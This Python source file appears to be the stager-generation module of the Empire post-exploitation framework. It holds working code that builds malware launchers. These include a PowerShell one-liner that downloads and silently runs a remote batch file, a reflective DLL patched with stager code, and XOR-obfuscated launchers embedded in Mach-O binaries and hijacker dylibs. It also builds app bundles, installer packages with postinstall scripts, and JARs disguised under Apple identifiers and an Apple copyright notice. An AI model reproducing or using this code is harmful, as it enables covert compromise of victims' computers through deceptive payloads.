488 lines
18 KiB
Python
488 lines
18 KiB
Python
"""
|
|
|
|
Functionality that loads Empire stagers, sets generic stager options,
|
|
and abstracts the invocation of launcher generation.
|
|
|
|
The Stagers() class in instantiated in ./empire.py by the main menu and includes:
|
|
|
|
load_stagers() - loads stagers from the install path
|
|
set_stager_option() - sets and option for all stagers
|
|
generate_launcher() - abstracted functionality that invokes the generate_launcher() method for a given listener
|
|
generate_dll() - generates a PowerPick Reflective DLL to inject with base64-encoded stager code
|
|
generate_macho() - generates a macho binary with an embedded python interpreter that runs the launcher code
|
|
generate_dylib() - generates a dylib with an embedded python interpreter and runs launcher code when loaded into an application
|
|
|
|
"""
|
|
|
|
import fnmatch
|
|
import imp
|
|
import helpers
|
|
import os
|
|
import errno
|
|
import macholib.MachO
|
|
import shutil
|
|
import zipfile
|
|
import subprocess
|
|
from itertools import izip, cycle
|
|
import base64
|
|
|
|
|
|
class Stagers:
|
|
|
|
def __init__(self, MainMenu, args):
|
|
|
|
self.mainMenu = MainMenu
|
|
self.args = args
|
|
|
|
# stager module format:
|
|
# [ ("stager_name", instance) ]
|
|
self.stagers = {}
|
|
|
|
self.load_stagers()
|
|
|
|
|
|
def load_stagers(self):
|
|
"""
|
|
Load stagers from the install + "/lib/stagers/*" path
|
|
"""
|
|
|
|
rootPath = "%s/lib/stagers/" % (self.mainMenu.installPath)
|
|
pattern = '*.py'
|
|
|
|
print helpers.color("[*] Loading stagers from: %s" % (rootPath))
|
|
|
|
for root, dirs, files in os.walk(rootPath):
|
|
for filename in fnmatch.filter(files, pattern):
|
|
filePath = os.path.join(root, filename)
|
|
|
|
# don't load up any of the templates
|
|
if fnmatch.fnmatch(filename, '*template.py'):
|
|
continue
|
|
|
|
# extract just the module name from the full path
|
|
stagerName = filePath.split("/lib/stagers/")[-1][0:-3]
|
|
|
|
# instantiate the module and save it to the internal cache
|
|
self.stagers[stagerName] = imp.load_source(stagerName, filePath).Stager(self.mainMenu, [])
|
|
|
|
|
|
def set_stager_option(self, option, value):
|
|
"""
|
|
Sets an option for all stagers.
|
|
"""
|
|
|
|
for name, stager in self.stagers.iteritems():
|
|
for stagerOption,stagerValue in stager.options.iteritems():
|
|
if stagerOption == option:
|
|
stager.options[option]['Value'] = str(value)
|
|
|
|
def generate_launcher_fetcher(self, language=None, encode=True, webFile='http://127.0.0.1/launcher.bat', launcher='powershell -noP -sta -w 1 -enc '):
|
|
#TODO add handle for other than powershell language
|
|
stager = 'wget "' + webFile + '" -outfile "launcher.bat"; Start-Process -FilePath .\launcher.bat -Wait -passthru -WindowStyle Hidden;'
|
|
if encode:
|
|
return helpers.powershell_launcher(stager, launcher)
|
|
else:
|
|
return stager
|
|
|
|
|
|
def generate_launcher(self, listenerName, language=None, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', safeChecks='true'):
|
|
"""
|
|
Abstracted functionality that invokes the generate_launcher() method for a given listener,
|
|
if it exists.
|
|
"""
|
|
|
|
if not listenerName in self.mainMenu.listeners.activeListeners:
|
|
print helpers.color("[!] Invalid listener: %s" % (listenerName))
|
|
return ''
|
|
|
|
activeListener = self.mainMenu.listeners.activeListeners[listenerName]
|
|
|
|
launcherCode = self.mainMenu.listeners.loadedListeners[activeListener['moduleName']].generate_launcher(encode=encode, obfuscate=obfuscate, obfuscationCommand=obfuscationCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries, language=language, listenerName=listenerName, safeChecks=safeChecks)
|
|
|
|
if launcherCode:
|
|
return launcherCode
|
|
|
|
|
|
def generate_dll(self, poshCode, arch):
|
|
"""
|
|
Generate a PowerPick Reflective DLL to inject with base64-encoded stager code.
|
|
"""
|
|
|
|
#read in original DLL and patch the bytes based on arch
|
|
if arch.lower() == 'x86':
|
|
origPath = "%s/data/misc/ReflectivePick_x86_orig.dll" % (self.mainMenu.installPath)
|
|
else:
|
|
origPath = "%s/data/misc/ReflectivePick_x64_orig.dll" % (self.mainMenu.installPath)
|
|
|
|
if os.path.isfile(origPath):
|
|
|
|
dllRaw = ''
|
|
with open(origPath, 'rb') as f:
|
|
dllRaw = f.read()
|
|
|
|
replacementCode = helpers.decode_base64(poshCode)
|
|
|
|
# patch the dll with the new PowerShell code
|
|
searchString = (("Invoke-Replace").encode("UTF-16"))[2:]
|
|
index = dllRaw.find(searchString)
|
|
dllPatched = dllRaw[:index]+replacementCode+dllRaw[(index+len(replacementCode)):]
|
|
|
|
return dllPatched
|
|
|
|
else:
|
|
print helpers.color("[!] Original .dll for arch %s does not exist!" % (arch))
|
|
|
|
|
|
def generate_macho(self, launcherCode):
|
|
"""
|
|
Generates a macho binary with an embedded python interpreter that runs the launcher code.
|
|
"""
|
|
|
|
MH_EXECUTE = 2
|
|
f = open("%s/data/misc/machotemplate" % (self.mainMenu.installPath), 'rb')
|
|
# f = open(self.installPath + "/data/misc/machotemplate", 'rb')
|
|
macho = macholib.MachO.MachO(f.name)
|
|
|
|
if int(macho.headers[0].header.filetype) != MH_EXECUTE:
|
|
print helpers.color("[!] Macho binary template is not the correct filetype")
|
|
return ""
|
|
|
|
cmds = macho.headers[0].commands
|
|
|
|
for cmd in cmds:
|
|
count = 0
|
|
if int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT_64:
|
|
count += 1
|
|
if cmd[count].segname.strip('\x00') == '__TEXT' and cmd[count].nsects > 0:
|
|
count += 1
|
|
for section in cmd[count]:
|
|
if section.sectname.strip('\x00') == '__cstring':
|
|
offset = int(section.offset) + (int(section.size) - 2119)
|
|
placeHolderSz = int(section.size) - (int(section.size) - 2119)
|
|
|
|
template = f.read()
|
|
f.close()
|
|
|
|
if placeHolderSz and offset:
|
|
|
|
key = 'subF'
|
|
launcherCode = ''.join(chr(ord(x) ^ ord(y)) for (x,y) in izip(launcherCode, cycle(key)))
|
|
launcherCode = base64.urlsafe_b64encode(launcherCode)
|
|
launcher = launcherCode + "\x00" * (placeHolderSz - len(launcherCode))
|
|
patchedMachO = template[:offset]+launcher+template[(offset+len(launcher)):]
|
|
|
|
return patchedMachO
|
|
else:
|
|
print helpers.color("[!] Unable to patch MachO binary")
|
|
|
|
|
|
def generate_dylib(self, launcherCode, arch, hijacker):
|
|
"""
|
|
Generates a dylib with an embedded python interpreter and runs launcher code when loaded into an application.
|
|
"""
|
|
import macholib.MachO
|
|
|
|
MH_DYLIB = 6
|
|
if hijacker.lower() == 'true':
|
|
if arch == 'x86':
|
|
f = open("%s/data/misc/hijackers/template.dylib" % (self.mainMenu.installPath), 'rb')
|
|
else:
|
|
f = open("%s/data/misc/hijackers/template64.dylib" % (self.mainMenu.installPath), 'rb')
|
|
else:
|
|
if arch == 'x86':
|
|
f = open("%s/data/misc/templateLauncher.dylib" % (self.mainMenu.installPath), 'rb')
|
|
else:
|
|
f = open("%s/data/misc/templateLauncher64.dylib" % (self.mainMenu.installPath), 'rb')
|
|
|
|
macho = macholib.MachO.MachO(f.name)
|
|
|
|
if int(macho.headers[0].header.filetype) != MH_DYLIB:
|
|
print helpers.color("[!] Dylib template is not the correct filetype")
|
|
return ""
|
|
|
|
cmds = macho.headers[0].commands
|
|
|
|
for cmd in cmds:
|
|
count = 0
|
|
if int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT_64 or int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT:
|
|
count += 1
|
|
if cmd[count].segname.strip('\x00') == '__TEXT' and cmd[count].nsects > 0:
|
|
count += 1
|
|
for section in cmd[count]:
|
|
if section.sectname.strip('\x00') == '__cstring':
|
|
offset = int(section.offset)
|
|
placeHolderSz = int(section.size) - 52
|
|
template = f.read()
|
|
f.close()
|
|
|
|
if placeHolderSz and offset:
|
|
|
|
launcher = launcherCode + "\x00" * (placeHolderSz - len(launcherCode))
|
|
patchedDylib = template[:offset]+launcher+template[(offset+len(launcher)):]
|
|
|
|
return patchedDylib
|
|
else:
|
|
print helpers.color("[!] Unable to patch dylib")
|
|
|
|
|
|
def generate_appbundle(self, launcherCode, Arch, icon, AppName, disarm):
|
|
|
|
"""
|
|
Generates an application. The embedded executable is a macho binary with the python interpreter.
|
|
"""
|
|
|
|
|
|
|
|
MH_EXECUTE = 2
|
|
|
|
if Arch == 'x64':
|
|
|
|
f = open(self.mainMenu.installPath + "/data/misc/apptemplateResources/x64/launcher.app/Contents/MacOS/launcher")
|
|
directory = self.mainMenu.installPath + "/data/misc/apptemplateResources/x64/launcher.app/"
|
|
else:
|
|
f = open(self.mainMenu.installPath + "/data/misc/apptemplateResources/x86/launcher.app/Contents/MacOS/launcher")
|
|
directory = self.mainMenu.installPath + "/data/misc/apptemplateResources/x86/launcher.app/"
|
|
|
|
macho = macholib.MachO.MachO(f.name)
|
|
|
|
if int(macho.headers[0].header.filetype) != MH_EXECUTE:
|
|
print helpers.color("[!] Macho binary template is not the correct filetype")
|
|
return ""
|
|
|
|
cmds = macho.headers[0].commands
|
|
|
|
for cmd in cmds:
|
|
count = 0
|
|
if int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT_64 or int(cmd[count].cmd) == macholib.MachO.LC_SEGMENT:
|
|
count += 1
|
|
if cmd[count].segname.strip('\x00') == '__TEXT' and cmd[count].nsects > 0:
|
|
count += 1
|
|
for section in cmd[count]:
|
|
if section.sectname.strip('\x00') == '__cstring':
|
|
offset = int(section.offset)
|
|
placeHolderSz = int(section.size) - 52
|
|
|
|
template = f.read()
|
|
f.close()
|
|
|
|
if placeHolderSz and offset:
|
|
|
|
launcher = launcherCode + "\x00" * (placeHolderSz - len(launcherCode))
|
|
patchedBinary = template[:offset]+launcher+template[(offset+len(launcher)):]
|
|
if AppName == "":
|
|
AppName = "launcher"
|
|
|
|
tmpdir = "/tmp/application/%s.app/" % AppName
|
|
shutil.copytree(directory, tmpdir)
|
|
f = open(tmpdir + "Contents/MacOS/launcher","wb")
|
|
if disarm != True:
|
|
f.write(patchedBinary)
|
|
f.close()
|
|
else:
|
|
t = open(self.mainMenu.installPath+"/data/misc/apptemplateResources/empty/macho",'rb')
|
|
w = t.read()
|
|
f.write(w)
|
|
f.close()
|
|
t.close()
|
|
|
|
os.rename(tmpdir + "Contents/MacOS/launcher",tmpdir + "Contents/MacOS/%s" % AppName)
|
|
os.chmod(tmpdir+"Contents/MacOS/%s" % AppName, 0755)
|
|
|
|
if icon != '':
|
|
iconfile = os.path.splitext(icon)[0].split('/')[-1]
|
|
shutil.copy2(icon,tmpdir+"Contents/Resources/"+iconfile+".icns")
|
|
else:
|
|
iconfile = icon
|
|
appPlist = """<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
|
<plist version="1.0">
|
|
<dict>
|
|
<key>BuildMachineOSBuild</key>
|
|
<string>15G31</string>
|
|
<key>CFBundleDevelopmentRegion</key>
|
|
<string>en</string>
|
|
<key>CFBundleExecutable</key>
|
|
<string>%s</string>
|
|
<key>CFBundleIconFile</key>
|
|
<string>%s</string>
|
|
<key>CFBundleIdentifier</key>
|
|
<string>com.apple.%s</string>
|
|
<key>CFBundleInfoDictionaryVersion</key>
|
|
<string>6.0</string>
|
|
<key>CFBundleName</key>
|
|
<string>%s</string>
|
|
<key>CFBundlePackageType</key>
|
|
<string>APPL</string>
|
|
<key>CFBundleShortVersionString</key>
|
|
<string>1.0</string>
|
|
<key>CFBundleSignature</key>
|
|
<string>????</string>
|
|
<key>CFBundleSupportedPlatforms</key>
|
|
<array>
|
|
<string>MacOSX</string>
|
|
</array>
|
|
<key>CFBundleVersion</key>
|
|
<string>1</string>
|
|
<key>DTCompiler</key>
|
|
<string>com.apple.compilers.llvm.clang.1_0</string>
|
|
<key>DTPlatformBuild</key>
|
|
<string>7D1014</string>
|
|
<key>DTPlatformVersion</key>
|
|
<string>GM</string>
|
|
<key>DTSDKBuild</key>
|
|
<string>15E60</string>
|
|
<key>DTSDKName</key>
|
|
<string>macosx10.11</string>
|
|
<key>DTXcode</key>
|
|
<string>0731</string>
|
|
<key>DTXcodeBuild</key>
|
|
<string>7D1014</string>
|
|
<key>LSApplicationCategoryType</key>
|
|
<string>public.app-category.utilities</string>
|
|
<key>LSMinimumSystemVersion</key>
|
|
<string>10.11</string>
|
|
<key>LSUIElement</key>
|
|
<true/>
|
|
<key>NSHumanReadableCopyright</key>
|
|
<string>Copyright 2016 Apple. All rights reserved.</string>
|
|
<key>NSMainNibFile</key>
|
|
<string>MainMenu</string>
|
|
<key>NSPrincipalClass</key>
|
|
<string>NSApplication</string>
|
|
</dict>
|
|
</plist>
|
|
""" % (AppName, iconfile, AppName, AppName)
|
|
f = open(tmpdir+"Contents/Info.plist", "w")
|
|
f.write(appPlist)
|
|
f.close()
|
|
|
|
shutil.make_archive("/tmp/launcher", 'zip', "/tmp/application")
|
|
shutil.rmtree('/tmp/application')
|
|
|
|
f = open("/tmp/launcher.zip","rb")
|
|
zipbundle = f.read()
|
|
f.close()
|
|
os.remove("/tmp/launcher.zip")
|
|
return zipbundle
|
|
|
|
|
|
else:
|
|
print helpers.color("[!] Unable to patch application")
|
|
|
|
def generate_pkg(self, launcher, bundleZip, AppName):
|
|
|
|
#unzip application bundle zip. Copy everything for the installer pkg to a temporary location
|
|
currDir = os.getcwd()
|
|
os.chdir("/tmp/")
|
|
f = open("app.zip","wb")
|
|
f.write(bundleZip)
|
|
f.close()
|
|
zipf = zipfile.ZipFile('app.zip','r')
|
|
zipf.extractall()
|
|
zipf.close()
|
|
os.remove('app.zip')
|
|
|
|
os.system("cp -r "+self.mainMenu.installPath+"/data/misc/pkgbuild/ /tmp/")
|
|
os.chdir("pkgbuild")
|
|
os.system("cp -r ../"+AppName+".app root/Applications/")
|
|
os.system("chmod +x root/Applications/")
|
|
os.system("( cd root && find . | cpio -o --format odc --owner 0:80 | gzip -c ) > expand/Payload")
|
|
os.system("chmod +x expand/Payload")
|
|
s = open('scripts/postinstall','r+')
|
|
script = s.read()
|
|
script = script.replace('LAUNCHER',launcher)
|
|
s.seek(0)
|
|
s.write(script)
|
|
s.close()
|
|
os.system("( cd scripts && find . | cpio -o --format odc --owner 0:80 | gzip -c ) > expand/Scripts")
|
|
os.system("chmod +x expand/Scripts")
|
|
numFiles = subprocess.check_output("find root | wc -l",shell=True).strip('\n')
|
|
size = subprocess.check_output("du -b -s root",shell=True).split('\t')[0]
|
|
size = int(size) / 1024
|
|
p = open('expand/PackageInfo','w+')
|
|
pkginfo = """<?xml version="1.0" encoding="utf-8" standalone="no"?>
|
|
<pkg-info overwrite-permissions="true" relocatable="false" identifier="com.apple.APPNAME" postinstall-action="none" version="1.0" format-version="2" generator-version="InstallCmds-554 (15G31)" install-location="/" auth="root">
|
|
<payload numberOfFiles="KEY1" installKBytes="KEY2"/>
|
|
<bundle path="./APPNAME.app" id="com.apple.APPNAME" CFBundleShortVersionString="1.0" CFBundleVersion="1"/>
|
|
<bundle-version>
|
|
<bundle id="com.apple.APPNAME"/>
|
|
</bundle-version>
|
|
<upgrade-bundle>
|
|
<bundle id="com.apple.APPNAME"/>
|
|
</upgrade-bundle>
|
|
<update-bundle/>
|
|
<atomic-update-bundle/>
|
|
<strict-identifier>
|
|
<bundle id="com.apple.APPNAME"/>
|
|
</strict-identifier>
|
|
<relocate>
|
|
<bundle id="com.apple.APPNAME"/>
|
|
</relocate>
|
|
<scripts>
|
|
<postinstall file="./postinstall"/>
|
|
</scripts>
|
|
</pkg-info>
|
|
"""
|
|
pkginfo = pkginfo.replace('APPNAME',AppName)
|
|
pkginfo = pkginfo.replace('KEY1',numFiles)
|
|
pkginfo = pkginfo.replace('KEY2',str(size))
|
|
p.write(pkginfo)
|
|
p.close()
|
|
os.system("mkbom -u 0 -g 80 root expand/Bom")
|
|
os.system("chmod +x expand/Bom")
|
|
os.system("chmod -R 755 expand/")
|
|
os.system('( cd expand && xar --compression none -cf "../launcher.pkg" * )')
|
|
f = open('launcher.pkg','rb')
|
|
package = f.read()
|
|
os.chdir("/tmp/")
|
|
shutil.rmtree('pkgbuild')
|
|
shutil.rmtree(AppName+".app")
|
|
return package
|
|
|
|
def generate_jar(self, launcherCode):
|
|
file = open(self.mainMenu.installPath+'data/misc/Run.java','r')
|
|
javacode = file.read()
|
|
file.close()
|
|
javacode = javacode.replace("LAUNCHER",launcherCode)
|
|
jarpath = self.mainMenu.installPath+'data/misc/classes/com/installer/apple/'
|
|
try:
|
|
os.makedirs(jarpath)
|
|
except OSError as e:
|
|
if e.errno != errno.EEXIST:
|
|
raise
|
|
else:
|
|
pass
|
|
|
|
file = open(self.mainMenu.installPath+'data/misc/classes/com/installer/apple/Run.java','w')
|
|
file.write(javacode)
|
|
file.close()
|
|
currdir = os.getcwd()
|
|
os.chdir(self.mainMenu.installPath+'data/misc/classes/')
|
|
os.system('javac com/installer/apple/Run.java')
|
|
os.system('jar -cfe '+self.mainMenu.installPath+'Run.jar com.installer.apple.Run com/installer/apple/Run.class')
|
|
os.chdir(currdir)
|
|
os.remove(self.mainMenu.installPath+'data/misc/classes/com/installer/apple/Run.class')
|
|
os.remove(self.mainMenu.installPath+'data/misc/classes/com/installer/apple/Run.java')
|
|
jarfile = open('Run.jar','rb')
|
|
jar = jarfile.read()
|
|
jarfile.close()
|
|
os.remove('Run.jar')
|
|
|
|
return jar
|
|
|
|
|
|
def generate_upload(self, file, path):
|
|
script = """
|
|
$b64 = "BASE64_BLOB_GOES_HERE"
|
|
$filename = "FILE_UPLOAD_FULL_PATH_GOES_HERE"
|
|
[IO.FILE]::WriteAllBytes($filename, [Convert]::FromBase64String($b64))
|
|
|
|
"""
|
|
|
|
file_encoded = base64.b64encode(file)
|
|
|
|
script = script.replace("BASE64_BLOB_GOES_HERE", file_encoded)
|
|
script = script.replace("FILE_UPLOAD_FULL_PATH_GOES_HERE", path)
|
|
|
|
return script
|